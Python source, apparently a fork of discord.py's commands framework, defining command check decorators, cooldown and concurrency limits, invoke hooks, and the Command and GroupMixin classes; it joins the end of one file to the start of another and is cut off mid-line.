check(predicate) def is_owner() -> Callable[[T], T]: """A :func:`.check` that checks if the person invoking this command is the owner of the bot. This is powered by :meth:`.Bot.is_owner`. This check raises a special exception, :exc:`.NotOwner` that is derived from :exc:`.CheckFailure`. """ async def predicate(ctx: Context) -> bool: if not await ctx.bot.is_owner(ctx.author): raise NotOwner('You do not own this bot.') return True return check(predicate) def is_nsfw() -> Callable[[T], T]: """A :func:`.check` that checks if the channel is a NSFW channel. This check raises a special exception, :exc:`.NSFWChannelRequired` that is derived from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.NSFWChannelRequired` instead of generic :exc:`.CheckFailure`. DM channels will also now pass this check. """ def pred(ctx: Context) -> bool: ch = ctx.channel if ctx.guild is None or (isinstance(ch, (discord.TextChannel, discord.Thread)) and ch.is_nsfw()): return True raise NSFWChannelRequired(ch) # type: ignore return check(pred) def cooldown(rate: int, per: float, type: Union[BucketType, Callable[[Message], Any]] = BucketType.default) -> Callable[ [T], T]: """A decorator that adds a cooldown to a :class:`.Command` A cooldown allows a command to only be used a specific amount of times in a specific time frame. These cooldowns can be based either on a per-guild, per-channel, per-user, per-role or global basis. Denoted by the third argument of ``type`` which must be of enum type :class:`.BucketType`. If a cooldown is triggered, then :exc:`.CommandOnCooldown` is triggered in :func:`.on_command_error` and the local error handler. A command can only have a single cooldown. Parameters ------------ rate: :class:`int` The number of times a command can be used before triggering a cooldown. per: :class:`float` The amount of seconds to wait for a cooldown when it's been triggered. type: Union[:class:`.BucketType`, Callable[[:class:`.Message`], Any]] The type of cooldown to have. If callable, should return a key for the mapping. .. versionchanged:: 1.7 Callables are now supported for custom bucket types. """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func._buckets = CooldownMapping(Cooldown(rate, per), type) else: func.__commands_cooldown__ = CooldownMapping(Cooldown(rate, per), type) return func return decorator # type: ignore def dynamic_cooldown(cooldown: Union[BucketType, Callable[[Message], Any]], type: BucketType = BucketType.default) -> \ Callable[[T], T]: """A decorator that adds a dynamic cooldown to a :class:`.Command` This differs from :func:`.cooldown` in that it takes a function that accepts a single parameter of type :class:`.discord.Message` and must return a :class:`.Cooldown` or ``None``. If ``None`` is returned then that cooldown is effectively bypassed. A cooldown allows a command to only be used a specific amount of times in a specific time frame. These cooldowns can be based either on a per-guild, per-channel, per-user, per-role or global basis. Denoted by the third argument of ``type`` which must be of enum type :class:`.BucketType`. If a cooldown is triggered, then :exc:`.CommandOnCooldown` is triggered in :func:`.on_command_error` and the local error handler. A command can only have a single cooldown. .. versionadded:: 2.0 Parameters ------------ cooldown: Callable[[:class:`.discord.Message`], Optional[:class:`.Cooldown`]] A function that takes a message and returns a cooldown that will apply to this invocation or ``None`` if the cooldown should be bypassed. type: :class:`.BucketType` The type of cooldown to have. """ if not callable(cooldown): raise TypeError("A callable must be provided") def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func._buckets = DynamicCooldownMapping(cooldown, type) else: func.__commands_cooldown__ = DynamicCooldownMapping(cooldown, type) return func return decorator # type: ignore def max_concurrency(number: int, per: BucketType = BucketType.default, *, wait: bool = False) -> Callable[[T], T]: """A decorator that adds a maximum concurrency to a :class:`.Command` or its subclasses. This enables you to only allow a certain number of command invocations at the same time, for example if a command takes too long or if only one user can use it at a time. This differs from a cooldown in that there is no set waiting period or token bucket -- only a set number of people can run the command. .. versionadded:: 1.3 Parameters ------------- number: :class:`int` The maximum number of invocations of this command that can be running at the same time. per: :class:`.BucketType` The bucket that this concurrency is based on, e.g. ``BucketType.guild`` would allow it to be used up to ``number`` times per guild. wait: :class:`bool` Whether the command should wait for the queue to be over. If this is set to ``False`` then instead of waiting until the command can run again, the command raises :exc:`.MaxConcurrencyReached` to its error handler. If this is set to ``True`` then the command waits until it can be executed. """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: value = MaxConcurrency(number, per=per, wait=wait) if isinstance(func, Command): func._max_concurrency = value else: func.__commands_max_concurrency__ = value return func return decorator # type: ignore def before_invoke(coro) -> Callable[[T], T]: """A decorator that registers a coroutine as a pre-invoke hook. This allows you to refer to one before invoke hook for several commands that do not have to be within the same cog. .. versionadded:: 1.4 Example --------- .. code-block:: python3 async def record_usage(ctx): print(ctx.author, 'used', ctx.command, 'at', ctx.message.created_at) @bot.command() @commands.before_invoke(record_usage) async def who(ctx): # Output: <User> used who at <Time> await ctx.send('i am a bot') class What(commands.Cog): @commands.before_invoke(record_usage) @commands.command() async def when(self, ctx): # Output: <User> used when at <Time> await ctx.send(f'and i have existed since {ctx.bot.user.created_at}') @commands.command() async def where(self, ctx): # Output: <Nothing> await ctx.send('on Discord') @commands.command() async def why(self, ctx): # Output: <Nothing> await ctx.send('because someone made me') bot.add_cog(What()) """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func.before_invoke(coro) else: func.__before_invoke__ = coro return func return decorator # type: ignore def after_invoke(coro) -> Callable[[T], T]: """A decorator that registers a coroutine as a post-invoke hook. This allows you to refer to one after invoke hook for several commands that do not have to be within the same cog. .. versionadded:: 1.4 """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func.after_invoke(coro) else: func.__after_invoke__ = coro return func return decorator # type: ignore
""" The MIT License (MIT) Copyright (c) 2015-present Rapptz Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from __future__ import annotations from typing import ( Any, Callable, Dict, Generator, Generic, Literal, List, Optional, Union, Set, Tuple, TypeVar, Type, TYPE_CHECKING, overload, ) import asyncio import functools import inspect import datetime import discord from .errors import * from .cooldowns import Cooldown, BucketType, CooldownMapping, MaxConcurrency, DynamicCooldownMapping from .converter import run_converters, get_converter from ._types import _BaseCommand from .cog import Cog from .context import Context if TYPE_CHECKING: from typing_extensions import Concatenate, ParamSpec, TypeGuard from discord.message import Message from ._types import ( Coro, CoroFunc, Check, Hook, Error, ) __all__ = ( 'Command', 'Group', 'GroupMixin', 'command', 'group', 'has_role', 'has_permissions', 'has_any_role', 'check', 'check_any', 'before_invoke', 'after_invoke', 'bot_has_role', 'bot_has_permissions', 'bot_has_any_role', 'cooldown', 'dynamic_cooldown', 'max_concurrency', 'dm_only', 'guild_only', 'is_owner', 'is_nsfw', 'has_guild_permissions', 'bot_has_guild_permissions' ) MISSING: Any = discord.utils.MISSING T = TypeVar('T') CogT = TypeVar('CogT', bound='Cog') CommandT = TypeVar('CommandT', bound='Command') ContextT = TypeVar('ContextT', bound='Context') # CHT = TypeVar('CHT', bound='Check') GroupT = TypeVar('GroupT', bound='Group') HookT = TypeVar('HookT', bound='Hook') ErrorT = TypeVar('ErrorT', bound='Error') if TYPE_CHECKING: P = ParamSpec('P') else: P = TypeVar('P') def unwrap_function(function: Callable[..., Any]) -> Callable[..., Any]: partial = functools.partial while True: if hasattr(function, '__wrapped__'): function = function.__wrapped__ elif isinstance(function, partial): function = function.func else: return function def get_signature_parameters(function: Callable[..., Any], globalns: Dict[str, Any]) -> Dict[str, inspect.Parameter]: signature = inspect.signature(function) params = {} cache: Dict[str, Any] = {} eval_annotation = discord.utils.evaluate_annotation for name, parameter in signature.parameters.items(): annotation = parameter.annotation if annotation is parameter.empty: params[name] = parameter continue if annotation is None: params[name] = parameter.replace(annotation=type(None)) continue annotation = eval_annotation(annotation, globalns, globalns, cache) params[name] = parameter.replace(annotation=annotation) return params def wrap_callback(coro): @functools.wraps(coro) async def wrapped(*args, **kwargs): try: ret = await coro(*args, **kwargs) except CommandError: raise except asyncio.CancelledError: return except Exception as exc: raise CommandInvokeError(exc) from exc return ret return wrapped def hooked_wrapped_callback(command, ctx, coro): @functools.wraps(coro) async def wrapped(*args, **kwargs): try: ret = await coro(*args, **kwargs) except CommandError: ctx.command_failed = True raise except asyncio.CancelledError: ctx.command_failed = True return except Exception as exc: ctx.command_failed = True raise CommandInvokeError(exc) from exc finally: if command._max_concurrency is not None: await command._max_concurrency.release(ctx) await command.call_after_hooks(ctx) return ret return wrapped class _CaseInsensitiveDict(dict): def __contains__(self, k): return super().__contains__(k.casefold()) def __delitem__(self, k): return super().__delitem__(k.casefold()) def __getitem__(self, k): return super().__getitem__(k.casefold()) def get(self, k, default=None): return super().get(k.casefold(), default) def pop(self, k, default=None): return super().pop(k.casefold(), default) def __setitem__(self, k, v): super().__setitem__(k.casefold(), v) class Command(_BaseCommand, Generic[CogT, P, T]): r"""A class that implements the protocol for a bot text command. These are not created manually, instead they are created via the decorator or functional interface. Attributes ----------- name: :class:`str` The name of the command. callback: :ref:`coroutine <coroutine>` The coroutine that is executed when the command is called. help: Optional[:class:`str`] The long help text for the command. brief: Optional[:class:`str`] The short help text for the command. usage: Optional[:class:`str`] A replacement for arguments in the default help text. aliases: Union[List[:class:`str`], Tuple[:class:`str`]] The list of aliases the command can be invoked under. enabled: :class:`bool` A boolean that indicates if the command is currently enabled. If the command is invoked while it is disabled, then :exc:`.DisabledCommand` is raised to the :func:`.on_command_error` event. Defaults to ``True``. parent: Optional[:class:`Group`] The parent group that this command belongs to. ``None`` if there isn't one. cog: Optional[:class:`Cog`] The cog that this command belongs to. ``None`` if there isn't one. checks: List[Callable[[:class:`.Context`], :class:`bool`]] A list of predicates that verifies if the command could be executed with the given :class:`.Context` as the sole parameter. If an exception is necessary to be thrown to signal failure, then one inherited from :exc:`.CommandError` should be used. Note that if the checks fail then :exc:`.CheckFailure` exception is raised to the :func:`.on_command_error` event. description: :class:`str` The message prefixed into the default help command. hidden: :class:`bool` If ``True``\, the default help command does not show this in the help output. rest_is_raw: :class:`bool` If ``False`` and a keyword-only argument is provided then the keyword only argument is stripped and handled as if it was a regular argument that handles :exc:`.MissingRequiredArgument` and default values in a regular matter rather than passing the rest completely raw. If ``True`` then the keyword-only argument will pass in the rest of the arguments in a completely raw matter. Defaults to ``False``. invoked_subcommand: Optional[:class:`Command`] The subcommand that was invoked, if any. require_var_positional: :class:`bool` If ``True`` and a variadic positional argument is specified, requires the user to specify at least one argument. Defaults to ``False``. .. versionadded:: 1.5 ignore_extra: :class:`bool` If ``True``\, ignores extraneous strings passed to a command if all its requirements are met (e.g. ``?foo a b c`` when only expecting ``a`` and ``b``). Otherwise :func:`.on_command_error` and local error handlers are called with :exc:`.TooManyArguments`. Defaults to ``True``. cooldown_after_parsing: :class:`bool` If ``True``\, cooldown processing is done after argument parsing, which calls converters. If ``False`` then cooldown processing is done first and then the converters are called second. Defaults to ``False``. extras: :class:`dict` A dict of user provided extras to attach to the Command. .. note:: This object may be copied by the library. .. versionadded:: 2.0 """ __original_kwargs__: Dict[str, Any] def __new__(cls: Type[CommandT], *args: Any, **kwargs: Any) -> CommandT: # if you're wondering why this is done, it's because we need to ensure # we have a complete original copy of **kwargs even for classes that # mess with it by popping before delegating to the subclass __init__. # In order to do this, we need to control the instance creation and # inject the original kwargs through __new__ rather than doing it # inside __init__. self = super().__new__(cls) # we do a shallow copy because it's probably the most common use case. # this could potentially break if someone modifies a list or something # while it's in movement, but for now this is the cheapest and # fastest way to do what we want. self.__original_kwargs__ = kwargs.copy() return self def __init__(self, func: Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ], **kwargs: Any): if not asyncio.iscoroutinefunction(func): raise TypeError('Callback must be a coroutine.') name = kwargs.get('name') or func.__name__ if not isinstance(name, str): raise TypeError('Name of a command must be a string.') self.name: str = name self.callback = func self.enabled: bool = kwargs.get('enabled', True) help_doc = kwargs.get('help') if help_doc is not None: help_doc = inspect.cleandoc(help_doc) else: help_doc = inspect.getdoc(func) if isinstance(help_doc, bytes): help_doc = help_doc.decode('utf-8') self.help: Optional[str] = help_doc self.brief: Optional[str] = kwargs.get('brief') self.usage: Optional[str] = kwargs.get('usage') self.rest_is_raw: bool = kwargs.get('rest_is_raw', False) self.aliases: Union[List[str], Tuple[str]] = kwargs.get('aliases', []) self.extras: Dict[str, Any] = kwargs.get('extras', {}) if not isinstance(self.aliases, (list, tuple)): raise TypeError("Aliases of a command must be a list or a tuple of strings.") self.description: str = inspect.cleandoc(kwargs.get('description', '')) self.hidden: bool = kwargs.get('hidden', False) try: checks = func.__commands_checks__ checks.reverse() except AttributeError: checks = kwargs.get('checks', []) self.checks: List[Check] = checks try: cooldown = func.__commands_cooldown__ except AttributeError: cooldown = kwargs.get('cooldown') if cooldown is None: buckets = CooldownMapping(cooldown, BucketType.default) elif isinstance(cooldown, CooldownMapping): buckets = cooldown else: raise TypeError("Cooldown must be a an instance of CooldownMapping or None.") self._buckets: CooldownMapping = buckets try: max_concurrency = func.__commands_max_concurrency__ except AttributeError: max_concurrency = kwargs.get('max_concurrency') self._max_concurrency: Optional[MaxConcurrency] = max_concurrency self.require_var_positional: bool = kwargs.get('require_var_positional', False) self.ignore_extra: bool = kwargs.get('ignore_extra', True) self.cooldown_after_parsing: bool = kwargs.get('cooldown_after_parsing', False) self.cog: Optional[CogT] = None # bandaid for the fact that sometimes parent can be the bot instance parent = kwargs.get('parent') self.parent: Optional[GroupMixin] = parent if isinstance(parent, _BaseCommand) else None # type: ignore self._before_invoke: Optional[Hook] = None try: before_invoke = func.__before_invoke__ except AttributeError: pass else: self.before_invoke(before_invoke) self._after_invoke: Optional[Hook] = None try: after_invoke = func.__after_invoke__ except AttributeError: pass else: self.after_invoke(after_invoke) @property def callback(self) -> Union[ Callable[Concatenate[CogT, Context, P], Coro[T]], Callable[Concatenate[Context, P], Coro[T]], ]: return self._callback @callback.setter def callback(self, function: Union[ Callable[Concatenate[CogT, Context, P], Coro[T]], Callable[Concatenate[Context, P], Coro[T]], ]) -> None: self._callback = function unwrap = unwrap_function(function) self.module = unwrap.__module__ try: globalns = unwrap.__globals__ except AttributeError: globalns = {} self.params = get_signature_parameters(function, globalns) def add_check(self, func: Check) -> None: """Adds a check to the command. This is the non-decorator interface to :func:`.check`. .. versionadded:: 1.3 Parameters ----------- func The function that will be used as a check. """ self.checks.append(func) def remove_check(self, func: Check) -> None: """Removes a check from the command. This function is idempotent and will not raise an exception if the function is not in the command's checks. .. versionadded:: 1.3 Parameters ----------- func The function to remove from the checks. """ try: self.checks.remove(func) except ValueError: pass def update(self, **kwargs: Any) -> None: """Updates :class:`Command` instance with updated attribute. This works similarly to the :func:`.command` decorator in terms of parameters in that they are passed to the :class:`Command` or subclass constructors, sans the name and callback. """ self.__init__(self.callback, **dict(self.__original_kwargs__, **kwargs)) async def __call__(self, context: Context, *args: P.args, **kwargs: P.kwargs) -> T: """|coro| Calls the internal callback that the command holds. .. note:: This bypasses all mechanisms -- including checks, converters, invoke hooks, cooldowns, etc. You must take care to pass the proper arguments and types to this function. .. versionadded:: 1.3 """ if self.cog is not None: return await self.callback(self.cog, context, *args, **kwargs) # type: ignore else: return await self.callback(context, *args, **kwargs) # type: ignore def _ensure_assignment_on_copy(self, other: CommandT) -> CommandT: other._before_invoke = self._before_invoke other._after_invoke = self._after_invoke if self.checks != other.checks: other.checks = self.checks.copy() if self._buckets.valid and not other._buckets.valid: other._buckets = self._buckets.copy() if self._max_concurrency != other._max_concurrency: # _max_concurrency won't be None at this point other._max_concurrency = self._max_concurrency.copy() # type: ignore try: other.on_error = self.on_error except AttributeError: pass return other def copy(self: CommandT) -> CommandT: """Creates a copy of this command. Returns -------- :class:`Command` A new instance of this command. """ ret = self.__class__(self.callback, **self.__original_kwargs__) return self._ensure_assignment_on_copy(ret) def _update_copy(self: CommandT, kwargs: Dict[str, Any]) -> CommandT: if kwargs: kw = kwargs.copy() kw.update(self.__original_kwargs__) copy = self.__class__(self.callback, **kw) return self._ensure_assignment_on_copy(copy) else: return self.copy() async def dispatch_error(self, ctx: Context, error: Exception) -> None: ctx.command_failed = True cog = self.cog try: coro = self.on_error except AttributeError: pass else: injected = wrap_callback(coro) if cog is not None: await injected(cog, ctx, error) else: await injected(ctx, error) try: if cog is not None: local = Cog._get_overridden_method(cog.cog_command_error) if local is not None: wrapped = wrap_callback(local) await wrapped(ctx, error) finally: ctx.bot.dispatch('command_error', ctx, error) async def transform(self, ctx: Context, param: inspect.Parameter) -> Any: #TODO : Raise proper Exception when dev has wrong arguments converter = get_converter(param) matchs = [arg for arg in ctx.interaction.data['options'] if arg["name"] == param.name] if len(matchs) == 1: return await run_converters(ctx, converter, matchs[0]['value'], param) # type: ignore else: return None @property def clean_params(self) -> Dict[str, inspect.Parameter]: """Dict[:class:`str`, :class:`inspect.Parameter`]: Retrieves the parameter dictionary without the context or self parameters. Useful for inspecting signature. """ result = self.params.copy() if self.cog is not None: # first parameter is self try: del result[next(iter(result))] except StopIteration: raise ValueError("missing 'self' parameter") from None try: # first/second parameter is context del result[next(iter(result))] except StopIteration: raise ValueError("missing 'context' parameter") from None return result @property def full_parent_name(self) -> str: """:class:`str`: Retrieves the fully qualified parent command name. This the base command name required to execute it. For example, in ``?one two three`` the parent name would be ``one two``. """ entries = [] command = self # command.parent is type-hinted as GroupMixin some attributes are resolved via MRO while command.parent is not None: # type: ignore command = command.parent # type: ignore entries.append(command.name) # type: ignore return ' '.join(reversed(entries)) @property def parents(self) -> List[Group]: """List[:class:`Group`]: Retrieves the parents of this command. If the command has no parents then it returns an empty :class:`list`. For example in commands ``?a b c test``, the parents are ``[c, b, a]``. .. versionadded:: 1.1 """ entries = [] command = self while command.parent is not None: # type: ignore command = command.parent # type: ignore entries.append(command) return entries @property def root_parent(self) -> Optional[Group]: """Optional[:class:`Group`]: Retrieves the root parent of this command. If the command has no parents then it returns ``None``. For example in commands ``?a b c test``, the root parent is ``a``. """ if not self.parent: return None return self.parents[-1] @property def qualified_name(self) -> str: """:class:`str`: Retrieves the fully qualified command name. This is the full parent name with the command name as well. For example, in ``?one two three`` the qualified name would be ``one two three``. """ parent = self.full_parent_name if parent: return parent + ' ' + self.name else: return self.name def __str__(self) -> str: return self.qualified_name async def _parse_arguments(self, ctx: Context) -> None: ctx.args = [ctx] if self.cog is None else [self.cog, ctx] ctx.kwargs = {} args = ctx.args kwargs = ctx.kwargs iterator = iter(self.params.items()) if self.cog is not None: # we have 'self' as the first parameter so just advance # the iterator and resume parsing try: next(iterator) except StopIteration: raise discord.ClientException(f'Callback for {self.name} command is missing "self" parameter.') # next we have the 'ctx' as the next parameter try: next(iterator) except StopIteration: raise discord.ClientException(f'Callback for {self.name} command is missing "ctx" parameter.') for name, param in iterator: ctx.current_parameter = param if param.kind in (param.POSITIONAL_OR_KEYWORD, param.POSITIONAL_ONLY): transformed = await self.transform(ctx, param) args.append(transformed) else: print("Not supported yet :(") """ elif param.kind == param.KEYWORD_ONLY: # kwarg only param denotes "consume rest" semantics if self.rest_is_raw: converter = get_converter(param) argument = view.read_rest() kwargs[name] = await run_converters(ctx, converter, argument, param) else: kwargs[name] = await self.transform(ctx, param) break elif param.kind == param.VAR_POSITIONAL: if view.eof and self.require_var_positional: raise MissingRequiredArgument(param) while not view.eof: try: transformed = await self.transform(ctx, param) args.append(transformed) except RuntimeError: break """ async def call_before_hooks(self, ctx: Context) -> None: # now that we're done preparing we can call the pre-command hooks # first, call the command local hook: cog = self.cog if self._before_invoke is not None: # should be cog if @commands.before_invoke is used instance = getattr(self._before_invoke, '__self__', cog) # __self__ only exists for methods, not functions # however, if @command.before_invoke is used, it will be a function if instance: await self._before_invoke(instance, ctx) # type: ignore else: await self._before_invoke(ctx) # type: ignore # call the cog local hook if applicable: if cog is not None: hook = Cog._get_overridden_method(cog.cog_before_invoke) if hook is not None: await hook(ctx) # call the bot global hook if necessary hook = ctx.bot._before_invoke if hook is not None: await hook(ctx) async def call_after_hooks(self, ctx: Context) -> None: cog = self.cog if self._after_invoke is not None: instance = getattr(self._after_invoke, '__self__', cog) if instance: await self._after_invoke(instance, ctx) # type: ignore else: await self._after_invoke(ctx) # type: ignore # call the cog local hook if applicable: if cog is not None: hook = Cog._get_overridden_method(cog.cog_after_invoke) if hook is not None: await hook(ctx) hook = ctx.bot._after_invoke if hook is not None: await hook(ctx) def _prepare_cooldowns(self, ctx: Context) -> None: if self._buckets.valid: dt = ctx.message.edited_at or ctx.message.created_at current = dt.replace(tzinfo=datetime.timezone.utc).timestamp() bucket = self._buckets.get_bucket(ctx.message, current) if bucket is not None: retry_after = bucket.update_rate_limit(current) if retry_after: raise CommandOnCooldown(bucket, retry_after, self._buckets.type) # type: ignore async def prepare(self, ctx: Context) -> None: ctx.command = self if not await self.can_run(ctx): raise CheckFailure(f'The check functions for command {self.qualified_name} failed.') if self._max_concurrency is not None: # For this application, context can be duck-typed as a Message await self._max_concurrency.acquire(ctx) # type: ignore try: if self.cooldown_after_parsing: await self._parse_arguments(ctx) self._prepare_cooldowns(ctx) else: self._prepare_cooldowns(ctx) await self._parse_arguments(ctx) await self.call_before_hooks(ctx) except: if self._max_concurrency is not None: await self._max_concurrency.release(ctx) # type: ignore raise def is_on_cooldown(self, ctx: Context) -> bool: """Checks whether the command is currently on cooldown. Parameters ----------- ctx: :class:`.Context` The invocation context to use when checking the commands cooldown status. Returns -------- :class:`bool` A boolean indicating if the command is on cooldown. """ if not self._buckets.valid: return False bucket = self._buckets.get_bucket(ctx.message) dt = ctx.message.edited_at or ctx.message.created_at current = dt.replace(tzinfo=datetime.timezone.utc).timestamp() return bucket.get_tokens(current) == 0 def reset_cooldown(self, ctx: Context) -> None: """Resets the cooldown on this command. Parameters ----------- ctx: :class:`.Context` The invocation context to reset the cooldown under. """ if self._buckets.valid: bucket = self._buckets.get_bucket(ctx.message) bucket.reset() def get_cooldown_retry_after(self, ctx: Context) -> float: """Retrieves the amount of seconds before this command can be tried again. .. versionadded:: 1.4 Parameters ----------- ctx: :class:`.Context` The invocation context to retrieve the cooldown from. Returns -------- :class:`float` The amount of time left on this command's cooldown in seconds. If this is ``0.0`` then the command isn't on cooldown. """ if self._buckets.valid: bucket = self._buckets.get_bucket(ctx.message) dt = ctx.message.edited_at or ctx.message.created_at current = dt.replace(tzinfo=datetime.timezone.utc).timestamp() return bucket.get_retry_after(current) return 0.0 async def invoke(self, ctx: Context) -> None: await self.prepare(ctx) # terminate the invoked_subcommand chain. # since we're in a regular command (and not a group) then # the invoked subcommand is None. ctx.invoked_subcommand = None ctx.subcommand_passed = None injected = hooked_wrapped_callback(self, ctx, self.callback) await injected(*ctx.args, **ctx.kwargs) async def reinvoke(self, ctx: Context, *, call_hooks: bool = False) -> None: ctx.command = self await self._parse_arguments(ctx) if call_hooks: await self.call_before_hooks(ctx) ctx.invoked_subcommand = None try: await self.callback(*ctx.args, **ctx.kwargs) # type: ignore except: ctx.command_failed = True raise finally: if call_hooks: await self.call_after_hooks(ctx) def error(self, coro: ErrorT) -> ErrorT: """A decorator that registers a coroutine as a local error handler. A local error handler is an :func:`.on_command_error` event limited to a single command. However, the :func:`.on_command_error` is still invoked afterwards as the catch-all. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the local error handler. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError('The error handler must be a coroutine.') self.on_error: Error = coro return coro def has_error_handler(self) -> bool: """:class:`bool`: Checks whether the command has an error handler registered. .. versionadded:: 1.7 """ return hasattr(self, 'on_error') def before_invoke(self, coro: HookT) -> HookT: """A decorator that registers a coroutine as a pre-invoke hook. A pre-invoke hook is called directly before the command is called. This makes it a useful function to set up database connections or any type of set up required. This pre-invoke hook takes a sole parameter, a :class:`.Context`. See :meth:`.Bot.before_invoke` for more info. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the pre-invoke hook. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError('The pre-invoke hook must be a coroutine.') self._before_invoke = coro return coro def after_invoke(self, coro: HookT) -> HookT: """A decorator that registers a coroutine as a post-invoke hook. A post-invoke hook is called directly after the command is called. This makes it a useful function to clean-up database connections or any type of clean up required. This post-invoke hook takes a sole parameter, a :class:`.Context`. See :meth:`.Bot.after_invoke` for more info. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the post-invoke hook. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError('The post-invoke hook must be a coroutine.') self._after_invoke = coro return coro @property def cog_name(self) -> Optional[str]: """Optional[:class:`str`]: The name of the cog this command belongs to, if any.""" return type(self.cog).__cog_name__ if self.cog is not None else None @property def short_doc(self) -> str: """:class:`str`: Gets the "short" documentation of a command. By default, this is the :attr:`.brief` attribute. If that lookup leads to an empty string then the first line of the :attr:`.help` attribute is used instead. """ if self.brief is not None: return self.brief if self.help is not None: return self.help.split('\n', 1)[0] return '' def _is_typing_optional(self, annotation: Union[T, Optional[T]]) -> TypeGuard[Optional[T]]: return getattr(annotation, '__origin__', None) is Union and type(None) in annotation.__args__ # type: ignore @property def signature(self) -> str: """:class:`str`: Returns a POSIX-like signature useful for help command output.""" if self.usage is not None: return self.usage params = self.clean_params if not params: return '' result = [] for name, param in params.items(): optional = False # postpone evaluation of if it's an optional argument annotation = param.annotation.converter origin = getattr(annotation, '__origin__', None) if origin is Union: none_cls = type(None) union_args = annotation.__args__ optional = union_args[-1] is none_cls if len(union_args) == 2 and optional: annotation = union_args[0] origin = getattr(annotation, '__origin__', None) if origin is Literal: name = '|'.join(f'"{v}"' if isinstance(v, str) else str(v) for v in annotation.__args__) if param.default is not param.empty: # We don't want None or '' to trigger the [name=value] case and instead it should # do [name] since [name=None] or [name=] are not exactly useful for the user. should_print = param.default if isinstance(param.default, str) else param.default is not None if should_print: result.append(f'[{name}={param.default}]') continue else: result.append(f'[{name}]') elif param.kind == param.VAR_POSITIONAL: if self.require_var_positional: result.append(f'<{name}...>') else: result.append(f'[{name}...]') elif optional: result.append(f'[{name}]') else: result.append(f'<{name}>') return ' '.join(result) async def can_run(self, ctx: Context) -> bool: """|coro| Checks if the command can be executed by checking all the predicates inside the :attr:`~Command.checks` attribute. This also checks whether the command is disabled. .. versionchanged:: 1.3 Checks whether the command is disabled or not Parameters ----------- ctx: :class:`.Context` The ctx of the command currently being invoked. Raises ------- :class:`CommandError` Any command error that was raised during a check call will be propagated by this function. Returns -------- :class:`bool` A boolean indicating if the command can be invoked. """ if not self.enabled: raise DisabledCommand(f'{self.name} command is disabled') original = ctx.command ctx.command = self try: if not await ctx.bot.can_run(ctx): raise CheckFailure(f'The global check functions for command {self.qualified_name} failed.') cog = self.cog if cog is not None: local_check = Cog._get_overridden_method(cog.cog_check) if local_check is not None: ret = await discord.utils.maybe_coroutine(local_check, ctx) if not ret: return False predicates = self.checks if not predicates: # since we have no checks, then we just return True. return True return await discord.utils.async_all(predicate(ctx) for predicate in predicates) # type: ignore finally: ctx.command = original class GroupMixin(Generic[CogT]): """A mixin that implements common functionality for classes that behave similar to :class:`.Group` and are allowed to register commands. Attributes ----------- all_commands: :class:`dict` A mapping of command name to :class:`.Command` objects. case_insensitive: :class:`bool` Whether the commands should be case insensitive. Defaults to ``False``. """ def __init__(self, *args: Any, **kwargs: Any) -> None: case_insensitive = kwargs.get('case_insensitive', False) self.all_commands: Dict[str, Command[CogT, Any, Any]] = _CaseInsensitiveDict() if case_insensitive else {} self.case_insensitive: bool = case_insensitive super().__init__(*args, **kwargs) @property def commands(self) -> Set[Command[CogT, Any, Any]]: """Set[:class:`.Command`]: A unique set of commands without aliases that are registered.""" return set(self.all_commands.values()) def recursively_remove_all_commands(self) -> None: for command in self.all_commands.copy().values(): if isinstance(command, GroupMixin): command.recursively_remove_all_commands() self.remove_command(command.name) def add_command(self, command: Command[CogT, Any, Any]) -> None: """Adds a :class:`.Command` into the internal list of commands. This is usually not called, instead the :meth:`~.GroupMixin.command` or :meth:`~.GroupMixin.group` shortcut decorators are used instead. .. versionchanged:: 1.4 Raise :exc:`.CommandRegistrationError` instead of generic :exc:`.ClientException` Parameters ----------- command: :class:`Command` The command to add. Raises ------- :exc:`.CommandRegistrationError` If the command or its alias is already registered by different command. TypeError If the command passed is not a subclass of :class:`.Command`. """ if not isinstance(command, Command): raise TypeError('The command passed must be a subclass of Command') if isinstance(self, Command): command.parent = self if command.name in self.all_commands: raise CommandRegistrationError(command.name) self.all_commands[command.name] = command for alias in command.aliases: if alias in self.all_commands: self.remove_command(command.name) raise CommandRegistrationError(alias, alias_conflict=True) self.all_commands[alias] = command def remove_command(self, name: str) -> Optional[Command[CogT, Any, Any]]: """Remove a :class:`.Command` from the internal list of commands. This could also be used as a way to remove aliases. Parameters ----------- name: :class:`str` The name of the command to remove. Returns -------- Optional[:class:`.Command`] The command that was removed. If the name is not valid then ``None`` is returned instead. """ command = self.all_commands.pop(name, None) # does not exist if command is None: return None if name in command.aliases: # we're removing an alias so we don't want to remove the rest return command # we're not removing the alias so let's delete the rest of them. for alias in command.aliases: cmd = 